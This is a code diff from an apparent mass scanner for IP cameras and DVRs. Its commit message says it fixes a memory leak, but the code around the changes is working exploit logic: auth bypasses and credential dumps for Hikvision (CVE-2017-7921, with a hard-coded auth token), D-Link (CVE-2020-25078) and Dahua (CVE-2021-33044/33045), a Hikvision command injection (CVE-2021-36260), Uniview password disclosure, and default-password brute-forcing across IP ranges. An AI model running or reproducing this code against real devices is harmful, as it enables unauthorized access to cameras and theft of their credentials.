Merge pull request jorhelp#17 from jorhelp/dev

修复内存泄露的bug

Ingram/VDB/CVE_2017_7921.py

@@ -50,10 +50,10 @@ def strings(file):
 
 
 def cve_2017_7921(ip: str) -> list:
-    headers = {'User-Agent': config['USERAGENT']}
+    headers = {'User-Agent': config.USERAGENT}
     user_url = f"http://{ip}/Security/users?auth=YWRtaW46MTEK"
     config_url = f"http://{ip}/System/configurationFile?auth=YWRtaW46MTEK"
-    timeout = config['TIMEOUT']
+    timeout = config.TIMEOUT
 
     try:
         r = requests.get(user_url, timeout=timeout, verify=False, headers=headers)

Ingram/VDB/CVE_2020_25078.py

@@ -6,12 +6,11 @@
 
 
 def cve_2020_25078(ip: str) -> list:
-    headers = {'User-Agent': config['USERAGENT']}
+    headers = {'User-Agent': config.USERAGENT}
     url = f"http://{ip}/config/getuser?index=0"
-    timeout = config['TIMEOUT']
 
     try:
-        r = requests.get(url, timeout=timeout, verify=False, headers=headers)
+        r = requests.get(url, timeout=config.TIMEOUT, verify=False, headers=headers)
         if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text:
             items = r.text.split()
             user, passwd = items[0].split('=')[1], items[1].split('=')[1]

Ingram/VDB/CVE_2021_33044.py

@@ -15,12 +15,6 @@ def dh_console(ip, port, proto='dhip'):
     console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
     user, passwd = '', ''
     try:
-        # with os.popen(f"""
-        # (
-        #     echo "OnvifUser -u"
-        #     echo "quit all"
-        # ) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
-        # """) as f: items = [line.strip() for line in f]
         cmd = f"""(
             echo "OnvifUser -u"
             echo "quit all"
@@ -42,7 +36,7 @@ def dh_console(ip, port, proto='dhip'):
 
 def cve_2021_33044(ip: str) -> list:
     headers = {
-        'User-Agent': config['USERAGENT'],
+        'User-Agent': config.USERAGENT,
         'Host': ip,
         'Origin': 'http://' + ip,
         'Referer': 'http://' + ip,
@@ -67,10 +61,9 @@ def cve_2021_33044(ip: str) -> list:
         "session": 0,
     }
     url = f"http://{ip}/RPC2_Login"
-    timeout = config['TIMEOUT']
 
     try:
-        r = requests.post(url, headers=headers, json=_json, verify=False, timeout=timeout)
+        r = requests.post(url, headers=headers, json=_json, verify=False, timeout=config.TIMEOUT)
         if r.status_code == 200 and r.json()['result'] == True:
             if ':' in ip: ip, port = ip.split(':')
             else: port = 80

Ingram/VDB/CVE_2021_33045.py

@@ -14,17 +14,10 @@ def cve_2021_33045(ip: str) -> list:
     if ':' in ip: ip, port = ip.split(':')
     else: port = 80
     CWD = os.path.dirname(os.path.abspath(__file__))
-    OUT = config['OUT']
     console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
-    json_file = os.path.join(OUT, f"{ip}-{port}-users.json")
+    json_file = os.path.join(config.OUT, f"{ip}-{port}-users.json")
 
     try:
-        # with os.popen(f"""
-        # (
-        #     echo "config RemoteDevice save {json_file}"
-        #     echo "quit all"
-        # ) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
-        # """) as f: items = f.readlines()
         cmd = f"""
         (
             echo "config RemoteDevice save {json_file}"

Ingram/VDB/CVE_2021_36260.py

@@ -93,6 +93,7 @@ def cve_2021_36260(ip: str) -> list:
         data = remote.send(query_args=f"{cmd}>webLib/x")
         if data is not None:
             data = remote.send(url='/x', query_args=None)
+            del remote
             if data.status_code == 200 and data.text.strip() == '/home':
                 return [True, '', '', 'cve-2021-36260']
     except Exception as e:

Ingram/VDB/__init__.py

@@ -6,19 +6,20 @@
 from Ingram.VDB.CVE_2020_25078 import cve_2020_25078
 from Ingram.VDB.CVE_2021_33044 import cve_2021_33044
 from Ingram.VDB.CVE_2021_33045 import cve_2021_33045
+from Ingram.utils import config
 
 
 def get_vul(dev: str) -> list:
     """return a list of modules according to the device type"""
-    if dev == 'hikvision':
+    if dev == config.HIKVISION:
         return [hikvision_weak, cve_2021_36260, cve_2017_7921]
-    elif dev == 'dahua':
+    elif dev == config.DAHUA:
         return [dahua_weak, cve_2021_33044, cve_2021_33045]
-    elif dev == 'uniview-nvr':
+    elif dev == config.UNIVIEWNVR:
         return [disclosure, ]
-    elif dev == 'dlink':
+    elif dev == config.DLINK:
         return [cve_2020_25078, ]
-    elif dev == 'cctv':
+    elif dev == config.CCTV:
         return [cctv_weak, ]
     else:
         return None

Ingram/VDB/uniview_disclosure.py

@@ -26,11 +26,10 @@ def passwd_decoder(passwd):
             if char != "124" and char != "0": decoded.append(code_table[char])
         return ''.join(decoded)
 
-    headers = {'User-Agent': config['USERAGENT']}
+    headers = {'User-Agent': config.USERAGENT}
     url = f"http://{ip}" + '/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}"'
-    timeout = config['TIMEOUT']
     try:
-        r = requests.get(url, headers=headers, verify=False, timeout=timeout)
+        r = requests.get(url, headers=headers, verify=False, timeout=config.TIMEOUT)
         if r.status_code == 200 and r.text:
             tree = ElementTree.fromstring(r.text)
             items = tree.find('UserCfg')

Ingram/VDB/weak_passwd.py

@@ -5,14 +5,20 @@
 from Ingram.utils import logger
 
 
+USERS = config.USERS
+PASSWDS = config.PASSWDS
+TIMEOUT = config.TIMEOUT
+USERAGENT = config.USERAGENT
+
+
 def hikvision_weak(ip: str) -> list:
     url = f"http://{ip}/ISAPI/Security/userCheck"
-    headers = {'User-Agent': config['USERAGENT']}
-    timeout = config['TIMEOUT']
-    for user in config['USERS']:
-        for passwd in config['PASSWDS']:
+    headers = {'User-Agent': USERAGENT}
+    timeout = TIMEOUT
+    for user in USERS:
+        for passwd in PASSWDS:
             try:
-                r = requests.get(url, auth=(user, passwd), timeout=timeout, headers=headers, verify=False)
+                r = requests.get(url, auth=(user, passwd), timeout=TIMEOUT, headers=headers, verify=False)
                 if r.status_code == 200 and 'userCheck' in r.text and 'statusValue' in r.text and '200' in r.text:
                     return [True, str(user), str(passwd), 'weak-passwd']
             except Exception as e:
@@ -22,9 +28,8 @@ def hikvision_weak(ip: str) -> list:
 
 def dahua_weak(ip: str) -> list:
     url = f"http://{ip}/RPC2_Login"
-    timeout = config['TIMEOUT']
     headers = {
-        'User-Agent': config['USERAGENT'],
+        'User-Agent': USERAGENT,
         'Host': ip,
         'Origin': 'http://' + ip,
         'Referer': 'http://' + ip,
@@ -35,8 +40,8 @@ def dahua_weak(ip: str) -> list:
         'Connection': 'close',
         'X-Requested-With': 'XMLHttpRequest',
     }
-    for user in config['USERS']:
-        for passwd in config['PASSWDS']:
+    for user in USERS:
+        for passwd in PASSWDS:
             _json = {
                 "method": "global.login",
                 "params": {
@@ -51,7 +56,7 @@ def dahua_weak(ip: str) -> list:
                 "session": 0,
             }
             try:
-                r = requests.post(url, headers=headers, json=_json, verify=False, timeout=timeout)
+                r = requests.post(url, headers=headers, json=_json, verify=False, timeout=TIMEOUT)
                 if r.status_code == 200 and r.json()['result'] == True:
                     return [True, str(user), str(passwd), 'weak-passwd']
             except Exception as e:
@@ -60,13 +65,12 @@ def dahua_weak(ip: str) -> list:
 
 
 def cctv_weak(ip: str) -> list:
-    headers = {'User-Agent': config['USERAGENT']}
-    timeout = config['TIMEOUT']
-    for user in config['USERS']:
-        for passwd in config['PASSWDS']:
+    headers = {'User-Agent': USERAGENT}
+    for user in USERS:
+        for passwd in PASSWDS:
             url = f'http://{ip}/cgi-bin/gw.cgi?xml=<juan ver="" squ="" dir="0"><rpermission usr="{user}" pwd="{passwd}"><config base=""/><playback base=""/></rpermission></juan>'
             try:
-                r = requests.get(url, headers=headers, verify=False, timeout=timeout)
+                r = requests.get(url, headers=headers, verify=False, timeout=TIMEOUT)
                 if r.status_code == 200 and '<rpermission' in r.text:
                     items = r.text.split()
                     idx = items.index('<rpermission')
@@ -79,16 +83,15 @@ def cctv_weak(ip: str) -> list:
 
 # still bugs...
 def uniview_weak(ip: str) -> list:
-    headers = {'User-Agent': config['USERAGENT']}
+    headers = {'User-Agent': USERAGENT}
 
 
 # still bugs...
 def dlink_weak(ip: str) -> list:
-    headers = {'User-Agent': config['USERAGENT']}
-    timeout = config['TIMEOUT']
-    for user in config['USERS']:
-        for p in config['PASSWDS']:
-            r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=timeout, auth=(user, p))
+    headers = {'User-Agent': USERAGENT}
+    for user in USERS:
+        for p in PASSWDS:
+            r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=TIMEOUT, auth=(user, p))
             if r.status_code == 200 and 'D-Link' in r.text:
                 return [True, str(user), str(p), 'weak pass']
     return [False, ]

Ingram/core/data.py

@@ -1,5 +1,6 @@
 """the data that produced by scanner and send to workshop"""
 import os
+import IPy
 import hashlib
 from multiprocessing import Pool
 
@@ -9,7 +10,6 @@
 from Ingram.utils import logger
 from Ingram.utils import singleton
 from Ingram.utils import get_current_time
-from Ingram.utils import get_ip_seg_len, get_all_ip
 
 
 @singleton
@@ -30,23 +30,17 @@ def __init__(self, _input, output):
 
         self.preprocess()
 
-    def preprocess(self):
-        if not os.path.isfile(self.input):
-            print(color.red(f"the input file {self.input} does not exists!"))
-            exit(0)
-
-        if not os.path.exists(self.output):
-            os.mkdir(self.output)
-
+    def get_data_from_disk(self):
+        """对于比较耗时的工作，用一个单独的线程放到后台执行"""
+        # get total ip
         with open(self.input, 'r') as f:
-            self.lines = [l.strip() for l in f if not l.startswith('#') and l.strip()]
-        if len(self.lines) == 0:
-            print(color.red(f"the input file {self.input} has nothing to scan!"))
-
-        # total
-        with Pool(processes=None) as pool:
-            self.total = sum(pool.map_async(get_ip_seg_len, self.lines).get())
+            for line in f:
+                if (not line.startswith('#')) and line.rstrip():
+                    if '-' in line or '/' in line:
+                        self.total += IPy.IP(line.rstrip(), make_net=True).len()
+                    else: self.total += 1
 
+    def preprocess(self):
         # done
         with open(os.path.join(self.output, 'log.txt'), 'r') as f:
             loglines = f.readlines()
@@ -88,8 +82,14 @@ def preprocess(self):
         self.not_vul = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
 
     def ip_generate(self):
-        for line in self.lines:
-            yield from get_all_ip(line)
+        with open(self.input, 'r') as f:
+            for line in f:
+                if (not line.startswith('#')) and line.rstrip():
+                    if ':' in line:  # ip:port
+                        yield line.rstrip()
+                    else:
+                        for ip in IPy.IP(line.rstrip(), make_net=True):
+                            yield ip.strNormal()
 
     def get_total(self):
         with self.var_lock:

Ingram/core/main.py

@@ -4,7 +4,7 @@
 from threading import Thread
 from collections import defaultdict
 
-from gevent import monkey; monkey.patch_all(thread=False)
+import gevent
 from gevent.pool import Pool as geventPool
 
 from Ingram.utils import config
@@ -22,6 +22,7 @@ def consumer(core):
     try:
         while not core.finish:
             core.workshop.process()
+            time.sleep(.1)
     except KeyboardInterrupt as e:
         # os._exit(0)  # 这种退出方式常用在子进程中
         exit(0)
@@ -32,15 +33,18 @@ def consumer(core):
 
 def status(core):
     bar = status_bar()
+    tmp = 0
     try:
         while True:
-            time_interval = get_current_time() - core.create_time
+            if tmp % 15 == 0:  # every ~1s cal the time
+                time_interval = get_current_time() - core.create_time
             total = core.data.get_total()
             done = core.data.get_done()
             found = core.data.get_found()
             product = core.workshop.get_done()
             bar(total, done, found, product, time_interval)
             time.sleep(.05)
+            tmp = tmp + 1 if tmp < 100 else 0
     except KeyboardInterrupt as e:
         exit(0)
     except Exception as e:
@@ -52,32 +56,36 @@ def status(core):
 class Core:
 
     def __init__(self):
-        self.data = Data(config['IN'], config['OUT'])
-        self.workshop = Workshop(os.path.join(config['OUT'], 'snapshots'), config['TH'] // 4)
-        self.scan = Scan(self.data, self.workshop, config['PORT'])
-        self.status = Thread(target=status, args=(self, ))
-        self.consumer = Thread(target=consumer, args=(self, ))
-        self.create_time = get_current_time()
         self.finish = False
+        self.create_time = get_current_time()
+        self.data = Data(config.IN, config.OUT)
+        self.workshop = Workshop(os.path.join(config.OUT, 'snapshots'), config.TH // 4)
+        self.scan = Scan(self.data, self.workshop, config.PORT)
+        self.scan_pool = geventPool(config.TH)
 
-        # logger config vars
-        logger.info(config.config_dict.items())
+        self.status = Thread(target=status, args=(self, ))
+        self.consumer = Thread(target=consumer, args=(self, ))
+        self.get_data_from_disk = Thread(target=self.data.get_data_from_disk)
 
     def __call__(self):
         try:
+            # logger config vars
+            logger.info(config.__dict__)
+
             self.status.setDaemon(True)
             self.status.start()
+            self.get_data_from_disk.start()
             self.consumer.start()
-
-            # gevent pool
-            self.scan_pool = geventPool(config['TH'])
-            self.scan_pool.map_async(self.scan, self.data.ip_generator).get()
+            for ip in self.data.ip_generator:
+                self.scan_pool.start(gevent.spawn(self.scan, ip))
+            self.scan_pool.join()
 
             time.sleep(.1)  # the last item may not print
             self.finish = True  # terminate the status thread
 
             self.report()
             self.consumer.join()
+            self.get_data_from_disk.join()
 
         except KeyboardInterrupt as e:
             self.finish = True
@@ -96,7 +104,7 @@ def __del__(self):
 
     def report(self):
         """report the results"""
-        results_file = os.path.join(config['OUT'], 'results.csv')
+        results_file = os.path.join(config.OUT, 'results.csv')
         if os.path.exists(results_file):
             with open(results_file, 'r') as f:
                 items = [l.strip().split(',') for l in f if l.strip()]